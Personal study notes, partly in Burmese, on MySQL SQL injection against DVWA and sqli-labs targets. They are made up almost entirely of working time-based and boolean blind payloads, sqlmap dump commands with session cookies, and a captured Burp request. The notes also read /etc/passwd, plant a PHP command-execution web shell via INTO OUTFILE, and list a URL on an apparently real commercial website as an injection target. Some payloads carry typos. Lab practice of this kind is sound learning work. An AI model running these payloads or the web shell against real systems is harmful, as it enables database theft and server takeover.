Time base
1' AND sleep(5)--+


Retrieve version:
1' AND if(condition,true,false)
1' and if(1=1,sleep(5),null)
1' AND IF((SELECT ascii(substr(version(),1,1))) = 53,sleep(10),NULL)--+


Retrieve version using LIKE:
1' AND IF(((SELECT version()) LIKE "5%",sleep(10),NULL)--+

Retrieve databases:
1' AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 7,1),1,1)))) = 115,sleep(10),NULL)--+  //s

1' AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 7,1),2,1)))) = 101,sleep(10),NULL)--+  //e

1' AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 7,1),3,1)))) = 99,sleep(10),NULL)--+  //c

1' AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 7,1),4,1)))) = 117,sleep(10),NULL)--+  //u


Retrieve Tables
1' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="security" LIMIT 0,1),1,1)))) = 101 sleep(10),NULL)--+  //e

1' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="security" LIMIT 0,1),2,1)))) = 109 sleep(10),NULL)--+  //m

1' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="security" LIMIT 0,1),3,1)))) = 97 sleep(10),NULL)--+  //a





dvwa lab

http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' and  sleep(10)--  &Submit=Submit#


192.168.100.50/vulnerabilities/sqli_blind/?id=1' and if(1=1,sleep(5),null)-- +&Submit=Submit#    << ture sleep 5 sec



using sqlmap  get method
need login(cookie >>> inspect>> Console >> document.cooke  copy it

sqlmap -u "http://192.168.100.50/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --current-db --cookie="PHPSESSID=vvc5vm52mes0c12pje6s286lu4; security=low"


sqlmap -u "http://192.168.100.50/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --tables -D dvwa --cookie="PHPSESSID=vvc5vm52mes0c12pje6s286lu4; security=low"


sqlmap -u "http://192.168.100.50/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --columns -T users -D dvwa --cookie="PHPSESSID=vvc5vm52mes0c12pje6s286lu4; security=low"


sqlmap -u "http://192.168.100.50/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --dump -T users -D dvwa --cookie="PHPSESSID=vvc5vm52mes0c12pje6s286lu4; security=low"


definied  parameter
sqlmap -u "http://192.168.100.50/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --dump -T users -D dvwa --cookie="PHPSESSID=vvc5vm52mes0c12pje6s286lu4; security=low"  -p id



post method ( need burp)

sqlmap -u "http://192.168.100.50/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=jc25hal7s1fhjl3j5402c78rc2; security=medium"  --current-db


using burp Repater>> Request  အကုန်ကူး
POST /vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.100.50
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://192.168.100.50
Connection: close
Referer: http://192.168.100.50/vulnerabilities/sqli/
Cookie: PHPSESSID=jc25hal7s1fhjl3j5402c78rc2; security=medium
Upgrade-Insecure-Requests: 1

id=1&Submit=Submit


subl medium.req နဲ့ save
sqlmap -r medium.req --dump -T users -D dvwa


check outfile in sqlmap
sqlmap -r medium.req --is-dba

is DBA : True   (RW file)


https://www.baizidsteel.com.bd/product_details.php?id=1'

Blind Base(boolean Base)

1' AND 1=1-- +   == True
1' AND 1=0-- +   == False

for version check
1' AND (ascii(substr((select version()),1,1))) =53 -- + // 53 =5
select version ဆိုတာ အများကြီးထွက်လာတဲ့ထဲက substr ဆိုပြီး အရှေ့ဆုံးတလုံးကိုပဲဖြတ်ထုတ်ပြီးပြပေးတာ


for database lenght check
1' AND (ascii(substr((select length(databse())),1,1))) = 56--+ //56 =8


for datbase check
1' AND (ascii(substr((select database()),1,1))) = 155 --+ //115 = s
1' AND (ascii(substr((select database()),2,1))) = 101 --+ //101 = e
1' AND (ascii(substr((select database()),3,1))) = 99 --+ //99 = c
1' AND (ascii(substr((select database()),4,1))) = 117 --+ //u
1' AND (ascii(substr((select database()),5,1))) = 114 --+ //r
1' AND (ascii(substr((select database()),6,1))) = 105 --+ //i
1' AND (ascii(substr((select database()),7,1))) = 116 --+ //t
1' AND (ascii(substr((select database()),8,1))) = 121 --+ //121 = y


for all table count
http://localhost/sqli-labs-master/less-8/?id=1' AND (ascii(substr((select count(*) form information_schema.tables where table_schema=database() limit 0,1),1,1))) =52 --+ //52 =4

Table Length check
1' AND (ascii(substr((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))) = 54 --+ //54 =6


for table first coloums
1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))) = 101 -- +  //e

1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))) = 109 -- +  //m


1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))) = 97 -- +  //a


1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))) = 105 -- +  //i


1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))) = 108 -- +  //l


1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))) = 115 -- +  //s


for table second columns
1' AND (ascii(substr((select table_name form information_schema.tables where table_schema=database() limit 1,1),1,1))) =114 -- +


for table third columns
1' AND (ascii(substr((select table_name form information_schema.tables where table_schema=database() limit 2,1),1,1))) =117 -- +

for table fourth columns length
1' AND (ascii(substr((select length(table_name) form information_schema.tables where table_schema=database() limit 3,1),1,1))) =53 -- +   //5


for table fourth columns
1' AND (ascii(substr((select table_name form information_schema.tables where table_schema=database() limit 3,1),1,1))) =117 -- +   //u

1' AND (ascii(substr((select table_name form information_schema.tables where table_schema=database() limit 3,1),2,1))) =115 -- +   //s

1' AND (ascii(substr((select table_name form information_schema.tables where table_schema=database() limit 3,1),3,1))) =101 -- +   //e

1' AND (ascii(substr((select table_name form information_schema.tables where table_schema=database() limit 3,1),4,1))) =114 -- +   //r

1' AND (ascii(substr((select table_name form information_schema.tables where table_schema=database() limit 3,1),5,1))) =115 -- +   //s


Next Column
1' AND (ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="users" and table_schema=database() LIMIT 0,1),1,1))) =117 -- +   //u

1' AND (ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="users" and table_schema=database() LIMIT 0,1),2,1))) =115 -- +   //s

1' AND (ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="users" and table_schema=database() LIMIT 0,1),3,1))) =101 -- +   //e

1' AND (ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="users" and table_schema=database() LIMIT 0,1),4,1))) =114 -- +   //r

1' AND (ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="users" and table_schema=database() LIMIT 0,1),5,1))) =95 -- +   //_

or

1' AND (ascii(substr((select concat(column_name)+from+information_schema.columns+where+table_name=0x7573657273 limit 3,1),1,1))) = 117 -- +    //u

1' AND (ascii(substr((select concat(column_name)+from+information_schema.columns+where+table_name=0x7573657273 limit 3,1),2,1))) = 115 -- +    //s



>>>>>>>>>>>>>>>>>>>>>>>>>>>

dvwa lab low security
http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' -- +&Submit=Submit#

http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' order by 2-- +&Submit=Submit#

no find vuln column
http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' union select 1,2-- +&Submit=Submit#

so let blind query
http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' AND 1=1-- +&Submit=Submit#     << True

http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' AND 1=2-- +&Submit=Submit#      << false


check version  ( first number)
http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' AND (ascii(substr((select version()),1,1))) =53 -- +&Submit=Submit#      << not equal 53 version

http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' AND (ascii(substr((select version()),1,1))) <53 -- +&Submit=Submit#      << less than 53 version   true

http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' AND (ascii(substr((select version()),1,1))) <48 -- +&Submit=Submit#      << less than 48 version   false

http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' AND (ascii(substr((select version()),1,1))) =49--  &Submit=Submit#        << equal 49 version



convert ascii
https://www.duplichecker.com/ascii-to-text.php
49 >>> 1


Second number of verion

http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' AND (ascii(substr((select version()),2,1))) =49--  &Submit=Submit#      << not equal 49 false

http://192.168.100.50/vulnerabilities/sqli_blind/?id=1' AND (ascii(substr((select version()),1,1))) =48--  &Submit=Submit#      << equal 48 true

convert ascii
48 >>> 0


dvwa medium security using burp

dvwa high security


SQL injection file write requirement
1. Web server's file path
2. permission
3. db user write permission


load file & file_priv check
group_concat(user,0x3a,file_priv) from mysql.user

http://192.168.100.50/vulnerabilities/sqli/?id=1' union select user(),group_concat(user,0x3a,file_priv) from mysql.user--+&Submit=Submit#

http://192.168.100.50/vulnerabilities/sqli/?id=1' union select user(),load_file('/etc/passwd')--+&Submit=Submit#

upload phpfile
http://192.168.100.50/vulnerabilities/sqli/?id=1' union select user(),'<?php phpinfo();?>' into outfile '/var/www/html/test/phpinfo.php'--+&Submit=Submit#

shell access (into outfile)
http://192.168.100.50/vulnerabilities/sqli/?id=1' union select user(),'<?php system($_GET["cmd"]);?>' into outfile '/var/www/html/test/cmd.php'--+&Submit=Submit#

http://192.168.100.50/test/cmd.php?cmd=ls -al ../../

Mysql Database Update

default login
sudo mysql

change password
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('mypass');

try update pass working
mysql -u root -p

create database
create database dvwa;

Show Database
show databases;

Select or use database
use dvwa;

Show table
show tables;

dump tables
select * from users;

select * from users where user='admin':


update password user 1337 in db
update users set password=md5('1337') where user="1337";